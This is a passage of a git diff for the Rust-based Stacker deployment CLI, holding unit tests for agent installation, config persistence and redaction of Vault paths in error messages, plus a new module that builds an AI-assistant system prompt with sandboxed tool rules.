.with_parameters(¶ms) + .expect("serialization should succeed"); + + assert!(req.parameters.is_some()); + let p = req.parameters.unwrap(); + assert_eq!(p["app_code"], "myapp"); + } + + #[test] + fn print_snapshot_summary_handles_empty() { + let snap = serde_json::json!({}); + // Should not panic + print_snapshot_summary(&snap, None); + } + + #[test] + fn agent_display_version_suppresses_placeholder_version() { + let agent = serde_json::json!({ + "version": "1.0.0", + "status": "online" + }); + + assert_eq!(agent_display_version(&agent, None), None); + } + + #[test] + fn agent_display_version_prefers_system_info_version() { + let agent = serde_json::json!({ + "version": "1.0.0", + "system_info": { + "agent_version": "0.2.8" + } + }); + + assert_eq!( + agent_display_version(&agent, None), + Some("0.2.8".to_string()) + ); + } + + #[test] + fn agent_display_version_can_use_status_agent_container_tag() { + let agent = serde_json::json!({ + "version": "1.0.0" + }); + let containers = vec![serde_json::json!({ + "name": "statuspanel-agent", + "image": "ghcr.io/trydirect/statuspanel-agent:0.3.1" + })]; + + assert_eq!( + agent_display_version(&agent, Some(&containers)), + Some("0.3.1".to_string()) + ); + } + + #[test] + fn visible_containers_hides_stale_platform_project_container() { + let containers = vec![ + serde_json::json!({ + "name": "nginx-proxy-manager", + "state": "running", + "image": "jc21/nginx-proxy-manager:latest" + }), + serde_json::json!({ + "name": "project-nginx_proxy_manager-1", + "state": "exited", + "image": "jc21/nginx-proxy-manager:latest" + }), + serde_json::json!({ + "name": "project-coolify-1", + "state": "running", + "image": "coollabsio/coolify:latest" + }), + ]; + + let visible = visible_containers(&containers); + let names = visible + .iter() + .map(|container| container["name"].as_str().unwrap()) + .collect::>(); + + assert_eq!(names, vec!["nginx-proxy-manager", "project-coolify-1"]); + } + + #[test] + fn agent_install_request_uses_server_deploy_path_without_cloud_credentials() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("syncopia") + .deploy_target(crate::cli::config_parser::DeployTarget::Server) + .build() + .expect("config"); + let server = sample_server_info(); + + let (cloud_id, deploy_form) = build_agent_install_deploy_request( + &config, + &server, + "syncopia", + "https://vault.try.direct", + ) + .expect("server install request"); + + assert_eq!(cloud_id, None); + assert_eq!(deploy_form["cloud"]["provider"], "own"); + assert_eq!(deploy_form["server"]["server_id"], 7); + assert_eq!(deploy_form["server"]["srv_ip"], "203.0.113.10"); + assert_eq!(deploy_form["server"]["ssh_user"], "deployer"); + assert_eq!(deploy_form["server"]["ssh_port"], 2222); + assert_eq!(deploy_form["server"]["connection_mode"], "status_panel"); + assert_eq!( + deploy_form["server"]["vault_key_path"], + "secret/users/user_1/servers/7/ssh" + ); + assert!(deploy_form["stack"]["integrated_features"] + .as_array() + .expect("integrated_features array") + .contains(&serde_json::Value::String("statuspanel".to_string()))); + assert_eq!( + stack_var_value(&deploy_form, AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY), + Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE) + ); + assert_eq!( + top_level_str(&deploy_form, AGENT_INSTALL_MODE_KEY), + Some(AGENT_INSTALL_MODE_VALUE) + ); + } + + #[test] + fn agent_install_request_keeps_cloud_deploy_path_when_cloud_server_is_linked() { + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("syncopia") + .deploy_target(crate::cli::config_parser::DeployTarget::Cloud) + .build() + .expect("config"); + let mut server = sample_server_info(); + server.cloud_id = Some(9); + server.cloud = Some("htz".to_string()); + + let (cloud_id, deploy_form) = build_agent_install_deploy_request( + &config, + &server, + "syncopia", + "https://vault.try.direct", + ) + .expect("cloud install request"); + + assert_eq!(cloud_id, Some(9)); + assert_eq!(deploy_form["cloud"]["provider"], "htz"); + assert_eq!(deploy_form["server"]["server_id"], 7); + assert_eq!(deploy_form["server"]["connection_mode"], "status_panel"); + assert_eq!( + stack_var_value(&deploy_form, AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY), + Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE) + ); + assert_eq!( + top_level_str(&deploy_form, AGENT_INSTALL_MODE_KEY), + Some(AGENT_INSTALL_MODE_VALUE) + ); + } + + #[test] + fn persist_agent_install_config_enables_status_panel_monitoring() { + let dir = TempDir::new().expect("temp dir"); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + "name: demo\napp:\n image: ${APP_IMAGE}\nmonitoring:\n status_panel: false\n", + ) + .expect("stacker config"); + + let result = persist_agent_install_config(&config_path).expect("persist config"); + + assert!(result.changed); + assert!(result.backup_path.exists()); + + let written = std::fs::read_to_string(&config_path).expect("written config"); + assert!(written.contains("${APP_IMAGE}")); + + let config = + crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config"); + assert!(config.monitoring.status_panel); + } + + #[test] + fn persist_agent_install_config_if_requested_skips_local_write_by_default() { + let dir = TempDir::new().expect("temp dir"); + let config_path = dir.path().join("stacker.yml"); + let original = + "name: demo\napp:\n image: ${APP_IMAGE}\nmonitoring:\n status_panel: false\n"; + std::fs::write(&config_path, original).expect("stacker config"); + + let result = + persist_agent_install_config_if_requested(&config_path, false).expect("skip persist"); + + assert!(result.is_none()); + assert_eq!( + std::fs::read_to_string(&config_path).expect("config should remain unchanged"), + original + ); + assert!(!dir.path().join("stacker.yml.bak").exists()); + } + + #[test] + fn persist_agent_install_config_is_noop_when_status_panel_monitoring_enabled() { + let dir = TempDir::new().expect("temp dir"); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + "name: demo\nmonitoring:\n status_panel: true\n", + ) + .expect("stacker config"); + + let result = persist_agent_install_config(&config_path).expect("persist config"); + + assert!(!result.changed); + assert!(!result.backup_path.exists()); + let config = + crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config"); + assert!(config.monitoring.status_panel); + } + + #[test] + fn given_stacker_agent_install_when_config_is_persisted_then_stacker_yml_reflects_status_panel() + { + let dir = TempDir::new().expect("temp dir"); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + r#" +name: web +proxy: + type: nginx-proxy-manager + domains: + - domain: status.stacker.my + ssl: auto + upstream: status-panel-web:3000 +monitoring: + status_panel: false + healthcheck: null + metrics: null +"#, + ) + .expect("stacker config"); + + let result = persist_agent_install_config(&config_path).expect("persist config"); + + assert!(result.changed); + assert!(result.backup_path.exists()); + + let config = + crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config"); + assert!(config.monitoring.status_panel); + assert_eq!( + config + .proxy + .domains + .first() + .map(|domain| domain.domain.as_str()), + Some("status.stacker.my") + ); + } + + #[test] + fn agent_install_request_includes_bootstrap_ssh_key_from_config() { + let temp_dir = TempDir::new().expect("temp dir"); + let private_key_path = temp_dir.path().join("id_ed25519"); + let public_key_path = temp_dir.path().join("id_ed25519.pub"); + + std::fs::write(&private_key_path, "TEST PRIVATE KEY").expect("private key"); + std::fs::write(&public_key_path, "ssh-ed25519 TEST PUBLIC KEY").expect("public key"); + + let config = crate::cli::config_parser::ConfigBuilder::new() + .name("syncopia") + .deploy_target(crate::cli::config_parser::DeployTarget::Server) + .server(crate::cli::config_parser::ServerConfig { + host: "203.0.113.10".to_string(), + user: "deploy".to_string(), + ssh_key: Some(private_key_path), + port: 2222, + }) + .build() + .expect("config"); + let server = sample_server_info(); + + let (_, deploy_form) = build_agent_install_deploy_request( + &config, + &server, + "syncopia", + "https://vault.try.direct", + ) + .expect("server install request"); + + assert_eq!(deploy_form["server"]["ssh_private_key"], "TEST PRIVATE KEY"); + assert_eq!( + deploy_form["server"]["public_key"], + "ssh-ed25519 TEST PUBLIC KEY" + ); + } + + #[test] + fn agent_command_error_message_prefers_error_field() { + let info = AgentCommandInfo { + command_id: "cmd_1".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "error", + "message": "ignored" + })), + error: Some(serde_json::json!( + "Vault-backed proxy credential resolution is not configured on this agent" + )), + created_at: String::new(), + updated_at: String::new(), + }; + + assert_eq!( + agent_command_error_message(&info), + Some( + "Vault-backed proxy credential resolution is not configured on this agent" + .to_string() + ) + ); + } + + #[test] + fn agent_command_error_message_reads_error_result_payload() { + let info = AgentCommandInfo { + command_id: "cmd_2".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "error", + "error_code": "vault_not_configured", + "message": "Vault-backed proxy credential resolution is not configured on this agent" + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + }; + + assert_eq!( + agent_command_error_message(&info), + Some( + "Vault-backed proxy credential resolution is not configured on this agent (vault_not_configured)" + .to_string() + ) + ); + } + + // Shared lock so env-var tests don't race each other. + fn npm_creds_env_lock() -> std::sync::MutexGuard<'static, ()> { + use std::sync::{Mutex, OnceLock}; + static LOCK: OnceLock> = OnceLock::new(); + LOCK.get_or_init(|| Mutex::new(())).lock().unwrap() + } + + fn npm_creds_invalid_info_via_result(vault_path: &str) -> AgentCommandInfo { + AgentCommandInfo { + command_id: "cmd_npm_creds".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "error", + "code": "npm_credentials_invalid", + "message": format!("NPM credentials in Vault are invalid at {}", vault_path), + "details": vault_path, + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + } + } + + fn npm_creds_invalid_info_via_error(vault_path: &str) -> AgentCommandInfo { + AgentCommandInfo { + command_id: "cmd_npm_creds".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "failed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: None, + error: Some(serde_json::json!({ + "code": "npm_credentials_invalid", + "message": format!("NPM credentials in Vault are invalid at {}", vault_path), + "details": vault_path, + })), + created_at: String::new(), + updated_at: String::new(), + } + } + + #[test] + fn agent_command_error_message_sanitizes_vault_path_via_result_field() { + let _guard = npm_creds_env_lock(); + std::env::remove_var("STACKER_DEBUG"); + std::env::remove_var("DEBUG"); + + let vault_path = "secret/base/status_panel/hosts/86/npm_credentials"; + let message = agent_command_error_message(&npm_creds_invalid_info_via_result(vault_path)) + .expect("error message"); + + assert!( + !message.contains(vault_path), + "Vault path must not appear in user-facing output: {message}" + ); + assert!( + message.contains("stacker secrets set npm_credentials"), + "Message should include the remediation command: {message}" + ); + } + + #[test] + fn agent_command_error_message_sanitizes_vault_path_via_error_field() { + let _guard = npm_creds_env_lock(); + std::env::remove_var("STACKER_DEBUG"); + std::env::remove_var("DEBUG"); + + let vault_path = "secret/base/status_panel/hosts/86/npm_credentials"; + let message = agent_command_error_message(&npm_creds_invalid_info_via_error(vault_path)) + .expect("error message"); + + assert!( + !message.contains(vault_path), + "Vault path must not appear in user-facing output (error field path): {message}" + ); + assert!( + message.contains("stacker secrets set npm_credentials"), + "Message should include the remediation command: {message}" + ); + } + + #[test] + fn agent_command_error_message_sanitizes_vault_path_when_error_is_preformatted_string() { + let _guard = npm_creds_env_lock(); + std::env::remove_var("STACKER_DEBUG"); + std::env::remove_var("DEBUG"); + + let vault_path = "secret/base/status_panel/hosts/86/npm_credentials"; + // Simulate the server sending a pre-formatted string (no structured "code" field) + let info = AgentCommandInfo { + command_id: "cmd_npm_creds".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "failed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: None, + error: Some(serde_json::Value::String(format!( + "NPM credentials in Vault are invalid at {vault_path} (npm_credentials_invalid): {vault_path}" + ))), + created_at: String::new(), + updated_at: String::new(), + }; + + let message = agent_command_error_message(&info).expect("error message"); + + assert!( + !message.contains(vault_path), + "Vault path must not appear when error is a pre-formatted string: {message}" + ); + assert!( + message.contains("stacker secrets set npm_credentials"), + "Message should include the remediation command: {message}" + ); + } + + #[test] + fn agent_command_error_message_exposes_vault_path_in_debug_mode_for_npm_credentials_invalid() { + let _guard = npm_creds_env_lock(); + std::env::set_var("STACKER_DEBUG", "1"); + + let vault_path = "secret/base/status_panel/hosts/86/npm_credentials"; + // Test both paths in debug mode + let msg_via_result = + agent_command_error_message(&npm_creds_invalid_info_via_result(vault_path)); + let msg_via_error = + agent_command_error_message(&npm_creds_invalid_info_via_error(vault_path)); + std::env::remove_var("STACKER_DEBUG"); + + let msg_via_result = msg_via_result.expect("error message (result path)"); + assert!( + msg_via_result.contains(vault_path), + "Vault path should appear in debug output (result path): {msg_via_result}" + ); + assert!( + msg_via_result.contains("stacker secrets set npm_credentials"), + "Debug output should still include the remediation command: {msg_via_result}" + ); + + let msg_via_error = msg_via_error.expect("error message (error field path)"); + assert!( + msg_via_error.contains(vault_path), + "Vault path should appear in debug output (error field path): {msg_via_error}" + ); + assert!( + msg_via_error.contains("stacker secrets set npm_credentials"), + "Debug output should still include the remediation command: {msg_via_error}" + ); + } + + #[test] + fn agent_command_error_message_adds_proxy_route_diagnostics_for_npm_create_failed() { + let info = AgentCommandInfo { + command_id: "cmd_proxy".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "error", + "error_code": "npm_create_failed", + "message": "Failed to create proxy host: 500 Internal Server Error - Internal Error", + "domain_names": ["status.stacker.my"], + "forward_port": 3000 + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + }; + + let message = agent_command_error_message(&info).expect("error message"); + + assert!(message.contains("npm_create_failed")); + assert!(message.contains("Route diagnostics")); + assert!(message.contains("status.stacker.my")); + assert!(message.contains( + "stacker cloud firewall add --server-id --public-ports 80/tcp,443/tcp" + )); + assert!(message.contains("--no-ssl")); + } + + #[test] + fn agent_command_error_message_reads_structured_error_array() { + let info = AgentCommandInfo { + command_id: "cmd_3".to_string(), + deployment_hash: "dep".to_string(), + command_type: "configure_proxy".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "error", + "message": "ignored" + })), + error: Some(serde_json::json!({ + "errors": [{ + "code": "npm_error", + "message": "NPM operation failed", + "details": "Failed to connect to NPM" + }] + })), + created_at: String::new(), + updated_at: String::new(), + }; + + assert_eq!( + agent_command_error_message(&info), + Some("NPM operation failed (npm_error): Failed to connect to NPM".to_string()) + ); + } + + #[test] + fn agent_command_error_message_ignores_successful_results() { + let info = AgentCommandInfo { + command_id: "cmd_3".to_string(), + deployment_hash: "dep".to_string(), + command_type: "health".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(serde_json::json!({ + "status": "ok", + "message": "healthy" + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + }; + + assert_eq!(agent_command_error_message(&info), None); + } + + #[test] + fn configure_proxy_no_ssl_overrides_default_ssl() { + let command = AgentConfigureProxyCommand::new( + "coolify".to_string(), + "coolify.example.com".to_string(), + 8000, + true, + true, + "create".to_string(), + true, + false, + None, + ); + + assert!(!command.ssl); + } + + #[test] + fn resolve_registry_auth_for_agent_deploy_reads_env_overrides() { + let temp_dir = TempDir::new().expect("temp dir"); + std::fs::write( + temp_dir.path().join("stacker.yml"), + "name: syncopia\napp:\n type: static\ndeploy:\n target: server\n", + ) + .expect("write stacker.yml"); + + let old_username = std::env::var("STACKER_DOCKER_USERNAME").ok(); + let old_password = std::env::var("STACKER_DOCKER_PASSWORD").ok(); + let old_registry = std::env::var("STACKER_DOCKER_REGISTRY").ok(); + + std::env::set_var("STACKER_DOCKER_USERNAME", "optimum"); + std::env::set_var("STACKER_DOCKER_PASSWORD", "secret"); + std::env::set_var("STACKER_DOCKER_REGISTRY", "docker.io"); + + let auth = resolve_registry_auth_for_agent_deploy(temp_dir.path()).expect("registry auth"); + assert_eq!(auth.username, "optimum"); + assert_eq!(auth.password, "secret"); + assert_eq!(auth.registry, "docker.io"); + + match old_username { + Some(value) => std::env::set_var("STACKER_DOCKER_USERNAME", value), + None => std::env::remove_var("STACKER_DOCKER_USERNAME"), + } + match old_password { + Some(value) => std::env::set_var("STACKER_DOCKER_PASSWORD", value), + None => std::env::remove_var("STACKER_DOCKER_PASSWORD"), + } + match old_registry { + Some(value) => std::env::set_var("STACKER_DOCKER_REGISTRY", value), + None => std::env::remove_var("STACKER_DOCKER_REGISTRY"), + } + } +} diff --git a/stacker/stacker/src/console/commands/cli/ai.rs b/stacker/stacker/src/console/commands/cli/ai.rs new file mode 100644 index 0000000..c57b27f --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/ai.rs @@ -0,0 +1,1541 @@ +use std::io::{self, BufRead, Write}; +use std::path::{Path, PathBuf}; + +use crate::cli::ai_client::{ + all_write_mode_tools, create_provider, AiProvider, AiResponse, ChatMessage, ToolCall, ToolDef, +}; +use crate::cli::ai_scenarios::{load_scenario_prompt_context, ScenarioSelection}; +use crate::cli::config_parser::{AiConfig, AiProviderType, StackerConfig}; +use crate::cli::error::CliError; +use crate::cli::service_catalog::{catalog_summary_for_ai, ServiceCatalog}; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; +const CHAT_MULTILINE_MAX_LINES: usize = 512; +const CHAT_MULTILINE_SEND_MARKER: &str = "::send"; +const CHAT_MULTILINE_CANCEL_MARKER: &str = "::cancel"; + +/// Condensed stacker.yml schema reference injected as the AI system prompt +/// so the model can answer "how do I …" questions with precise YAML examples. +const STACKER_SCHEMA_SYSTEM_PROMPT: &str = "\ +You are a helpful assistant for the Stacker CLI — a single-file deployment tool \ +that reads `stacker.yml` to auto-generate Dockerfiles, docker-compose definitions, \ +and deploy applications locally or to cloud/server infrastructure. + +\ +Below is the complete stacker.yml configuration schema. \ +Use it to answer user questions with concrete YAML examples. + +\ +## Top-level fields\n\ + name: (string, REQUIRED) Project name\n\ + version: (string) Version label\n\ + organization: (string) Org slug for TryDirect account\n\ + env_file: (path) Path to .env file (loaded before config parsing)\n\ + env: (map) Inline env vars passed to all containers; supports ${VAR} interpolation\n\ +\n\ +## app — Application source\n\ + app.type: static|node|python|rust|go|php|custom (default: static, auto-detected)\n\ + app.path: (path, default '.') Source directory\n\ + app.dockerfile: (path) Custom Dockerfile (skips generation)\n\ + app.image: (string) Pre-built image (mutually exclusive with dockerfile)\n\ + app.build.context: (string, default '.') Docker build context\n\ + app.build.args: (map) --build-arg key/value pairs\n\ + app.ports: (string[]) e.g. ['8080:3000'] — auto-derived from type if omitted\n\ + app.volumes: (string[]) Bind mounts or named volumes\n\ + app.environment: (map) Per-app env vars merged with top-level env\n\ +\n\ +## services — Sidecar containers\n\ + Array of: { name, image, ports[], environment{}, volumes[], depends_on[] }\n\ +\n\ +## proxy — Reverse proxy\n\ + proxy.type: nginx|nginx-proxy-manager|traefik|none (default: none)\n\ + proxy.auto_detect: (bool, default true) Detect running proxy containers\n\ + proxy.domains: [{ domain, ssl: auto|manual|off, upstream }]\n\ + proxy.config: (path) Custom proxy config file\n\ +\n\ +## deploy — Deployment target\n\ + deploy.target: local|cloud|server (default: local)\n\ + deploy.compose_file: (path) Use existing compose instead of generating\n\ + deploy.cloud: (required when target=cloud)\n\ + provider: hetzner|digitalocean|aws|linode|vultr\n\ + orchestrator: local|remote\n\ + region: (string)\n\ + size: (string)\n\ + ssh_key: (path)\n\ + deploy.server: (required when target=server)\n\ + host: (string, REQUIRED) Hostname or IP\n\ + user: (string, default 'root') SSH user\n\ + port: (int, default 22) SSH port\n\ + ssh_key: (path) SSH private key\n\ + deploy.registry: Docker registry credentials\n\ + username, password, server (default: Docker Hub)\n\ + Env var overrides: STACKER_DOCKER_USERNAME, STACKER_DOCKER_PASSWORD, STACKER_DOCKER_REGISTRY\n\ +\n\ +## ai — AI assistant\n\ + ai.enabled: (bool, default false)\n\ + ai.provider: openai|anthropic|ollama|custom\n\ + ai.model: (string)\n\ + ai.api_key: (string, supports ${VAR})\n\ + ai.endpoint: (string)\n\ + ai.timeout: (int, default 300)\n\ + ai.tasks: [dockerfile, troubleshoot, compose, security]\n\ +\n\ +## monitoring\n\ + monitoring.status_panel: (bool)\n\ + monitoring.healthcheck: { endpoint: '/health', interval: '30s' }\n\ + monitoring.metrics: { enabled: bool, telegraf: bool }\n\ +\n\ +## hooks — Lifecycle scripts\n\ + hooks.pre_build: (path) Before docker build\n\ + hooks.post_deploy: (path) After successful deploy\n\ + hooks.on_failure: (path) On deploy failure\n\ +\n\ +## Environment variable interpolation\n\ + Syntax: ${VAR_NAME} — resolved from process env or env_file at parse time.\n\ + Undefined vars cause a hard error (fail-fast).\n\ + Only applies to actual YAML values, not comments.\n\ +\n\ +## CLI commands\n\ + stacker init [--app-type T] [--with-proxy] [--with-ai] [--with-cloud]\n\ + stacker deploy [--target local|cloud|server] [--dry-run] [--force-rebuild]\n\ + stacker status [--json] [--watch]\n\ + stacker logs [--service S] [--follow] [--tail N]\n\ + stacker destroy --confirm [--volumes]\n\ + stacker config validate | show | fix | example\n\ + stacker ai ask \"question\" [--context file] [--scenario website-deploy] [--step STEP]\n\ + stacker proxy add DOMAIN --upstream URL --ssl[=auto|off]\n\ + stacker proxy detect\n\ + stacker ssh-key generate --server-id N [--save-to PATH]\n\ + stacker ssh-key show --server-id N [--json]\n\ + stacker ssh-key upload --server-id N --public-key FILE --private-key FILE\n\ + stacker service add NAME [--file stacker.yml]\n\ + stacker service list [--online]\n\ + stacker login\n\ + stacker update [--channel beta]\n\ +\n\ +## Available tools (in --write mode)\n\ +You have direct access to these tools. Prefer reading before writing.\n\ + read_file(path) — read any project file\n\ + list_directory(path) — list files in a directory\n\ + config_validate() — validate stacker.yml\n\ + config_show() — show resolved configuration\n\ + stacker_status() — show container status\n\ + stacker_logs(service?, tail?) — get container logs\n\ + proxy_detect() — detect running proxy containers\n\ + write_file(path, content) — write stacker.yml or .stacker/* only\n\ + add_service(service_name, custom_ports?, custom_env?) — add a service template to stacker.yml\n\ + stacker_deploy(target?, dry_run?, force_rebuild?) — deploy the stack\n\ + proxy_add(domain, upstream?, ssl?) — add a proxy entry\n\ +\n\ +IMPORTANT tool rules:\n\ + - Never use stacker_deploy without first calling stacker_deploy(dry_run=true)\n\ + to preview the plan and confirm with the user.\n\ + - Never delete files or call destroy.\n\ + - write_file is sandboxed: only stacker.yml and .stacker/* are permitted.\n\ + - When the user asks to 'add wordpress' or 'add redis' etc., use the add_service tool \ + rather than manually writing YAML — it handles defaults, dependencies, and backup.\n\ +\n\ +When answering, always provide concrete stacker.yml YAML snippets. \ +Keep answers concise and actionable."; + +/// Load AI config from stacker.yml. +fn load_ai_config(config_path: &str) -> Result { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + let config = StackerConfig::from_file(path)?; + if !config.ai.enabled { + return Err(CliError::AiNotConfigured); + } + Ok(config.ai) +} + +fn parse_ai_provider(s: &str) -> Result { + let json = format!("\"{}\"", s.trim().to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation( + "Unknown AI provider. Use: openai, anthropic, ollama, custom".to_string(), + ) + }) +} + +fn prompt_line(prompt: &str) -> Result { + print!("{}", prompt); + io::stdout().flush()?; + let mut input = String::new(); + io::stdin().read_line(&mut input)?; + Ok(input.trim().to_string()) +} + +fn prompt_with_default(prompt: &str, default: &str) -> Result { + let line = prompt_line(&format!("{} [{}]: ", prompt, default))?; + if line.is_empty() { + Ok(default.to_string()) + } else { + Ok(line) + } +} + +fn read_input_line(reader: &mut R) -> Result, CliError> { + let mut line = String::new(); + let bytes = reader.read_line(&mut line)?; + if bytes == 0 { + return Ok(None); + } + + Ok(Some(line.trim_end_matches(['\n', '\r']).to_string())) +} + +#[derive(Debug, PartialEq, Eq)] +enum ChatReplCommand { + Exit, + Help, + Clear, + Paste, + Message(String), + Empty, +} + +fn parse_chat_repl_command(line: String) -> ChatReplCommand { + let trimmed = line.trim(); + if trimmed.is_empty() { + return ChatReplCommand::Empty; + } + + match trimmed.to_ascii_lowercase().as_str() { + "exit" | "quit" | ":q" => ChatReplCommand::Exit, + "help" | ":help" | "?" => ChatReplCommand::Help, + "clear" | ":clear" => ChatReplCommand::Clear, + "paste" | ":paste" | "/paste" => ChatReplCommand::Paste, + _ => ChatReplCommand::Message(line), + } +} + +#[derive(Debug, PartialEq, Eq)] +enum MultilineInputResult { + Submit(String), + Cancelled, + Eof, + LimitExceeded { max_lines: usize }, +} + +fn collect_multiline_input( + reader: &mut R, + prompt_writer: &mut W, +) -> Result { + let mut lines = Vec::new(); + + loop { + write!(prompt_writer, "\x1b[1;36m…\x1b[0m ")?; + prompt_writer.flush()?; + + let Some(line) = read_input_line(reader)? else { + return Ok(MultilineInputResult::Eof); + }; + + let trimmed = line.trim(); + match trimmed.to_ascii_lowercase().as_str() { + CHAT_MULTILINE_SEND_MARKER => { + if lines.is_empty() { + return Ok(MultilineInputResult::Cancelled); + } + + return Ok(MultilineInputResult::Submit(lines.join("\n"))); + } + CHAT_MULTILINE_CANCEL_MARKER => return Ok(MultilineInputResult::Cancelled), + _ => {} + } + + if lines.len() == CHAT_MULTILINE_MAX_LINES { + return Ok(MultilineInputResult::LimitExceeded { + max_lines: CHAT_MULTILINE_MAX_LINES, + }); + } + + lines.push(line); + } +} + +fn configure_ai_interactive(config_path: &str) -> Result { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let mut config = StackerConfig::from_file_raw(path)?; + let current = config.ai.clone(); + + eprintln!("AI interactive setup for {}", config_path); + + let provider_default = current.provider.to_string(); + let provider_input = prompt_with_default( + "AI provider (openai|anthropic|ollama|custom)", + &provider_default, + )?; + let provider = parse_ai_provider(&provider_input)?; + + let model_default = current.model.as_deref().unwrap_or(""); + let model_input = prompt_with_default("Model (empty = provider default)", model_default)?; + let model = if model_input.trim().is_empty() { + None + } else { + Some(model_input) + }; + + let api_key_default = current.api_key.as_deref().unwrap_or(""); + let api_key_input = prompt_with_default("API key (empty = keep/none)", api_key_default)?; + let api_key = if api_key_input.trim().is_empty() { + current.api_key.clone() + } else { + Some(api_key_input) + }; + + let endpoint_default = current + .endpoint + .as_deref() + .unwrap_or("http://localhost:11434"); + let endpoint_input = prompt_with_default("Endpoint", endpoint_default)?; + let endpoint = if endpoint_input.trim().is_empty() { + None + } else { + Some(endpoint_input) + }; + + let timeout_default = current.timeout.to_string(); + let timeout_input = prompt_with_default("Timeout seconds", &timeout_default)?; + let timeout = timeout_input.parse::().unwrap_or(current.timeout); + + let tasks = if current.tasks.is_empty() { + vec!["dockerfile".to_string(), "compose".to_string()] + } else { + current.tasks.clone() + }; + + config.ai = AiConfig { + enabled: true, + provider, + model, + api_key, + endpoint, + timeout, + tasks, + }; + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + + eprintln!("✓ AI configuration saved to {}", config_path); + eprintln!(" Backup written to {}", backup_path); + Ok(config.ai) +} + +/// Build a prompt from the question and optional context file content. +pub fn build_ai_prompt(question: &str, context_content: Option<&str>) -> String { + match context_content { + Some(ctx) => format!( + "Given the following context:\n\n```\n{}\n```\n\nQuestion: {}", + ctx, question + ), + None => question.to_string(), + } +} + +pub fn build_system_prompt_base( + project_dir: &Path, + ai_config: &AiConfig, + scenario: Option<&ScenarioSelection>, + include_catalog: bool, +) -> Result { + let mut sections = vec![STACKER_SCHEMA_SYSTEM_PROMPT.to_string()]; + if include_catalog { + sections.push(catalog_summary_for_ai()); + } + + if let Some(selection) = scenario { + sections + .push(load_scenario_prompt_context(project_dir, ai_config, selection)?.rendered_prompt); + } + + Ok(sections.join("\n\n")) +} + +fn build_default_project_context(project_dir: &Path) -> Option { + let mut blocks: Vec = Vec::new(); + + let stacker_path = project_dir.join("stacker.yml"); + if let Ok(content) = std::fs::read_to_string(&stacker_path) { + blocks.push(format!("stacker.yml:\n{}", content)); + } + + let package_json_path = project_dir.join("package.json"); + if let Ok(content) = std::fs::read_to_string(&package_json_path) { + blocks.push(format!("package.json:\n{}", content)); + } + + let dockerfile_path = project_dir.join("Dockerfile"); + if let Ok(content) = std::fs::read_to_string(&dockerfile_path) { + blocks.push(format!("Dockerfile:\n{}", content)); + } + + let generated_dockerfile_path = project_dir.join(".stacker").join("Dockerfile"); + if let Ok(content) = std::fs::read_to_string(&generated_dockerfile_path) { + blocks.push(format!(".stacker/Dockerfile:\n{}", content)); + } + + let compose_path = project_dir.join("docker-compose.yml"); + if let Ok(content) = std::fs::read_to_string(&compose_path) { + blocks.push(format!("docker-compose.yml:\n{}", content)); + } + + let generated_compose_path = project_dir.join(".stacker").join("docker-compose.yml"); + if let Ok(content) = std::fs::read_to_string(&generated_compose_path) { + blocks.push(format!(".stacker/docker-compose.yml:\n{}", content)); + } + + if blocks.is_empty() { + None + } else { + Some(blocks.join("\n\n")) + } +} + +/// Core AI ask logic, extracted for testability. +pub fn run_ai_ask( + question: &str, + context: Option<&str>, + provider: &dyn AiProvider, +) -> Result { + run_ai_ask_with_system_prompt(question, context, provider, STACKER_SCHEMA_SYSTEM_PROMPT) +} + +pub fn run_ai_ask_with_system_prompt( + question: &str, + context: Option<&str>, + provider: &dyn AiProvider, + system_prompt: &str, +) -> Result { + let context_content = match context { + Some(path) => { + let p = Path::new(path); + if !p.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(path), + }); + } + Some(std::fs::read_to_string(p)?) + } + None => { + let cwd = std::env::current_dir()?; + build_default_project_context(&cwd) + } + }; + + let prompt = 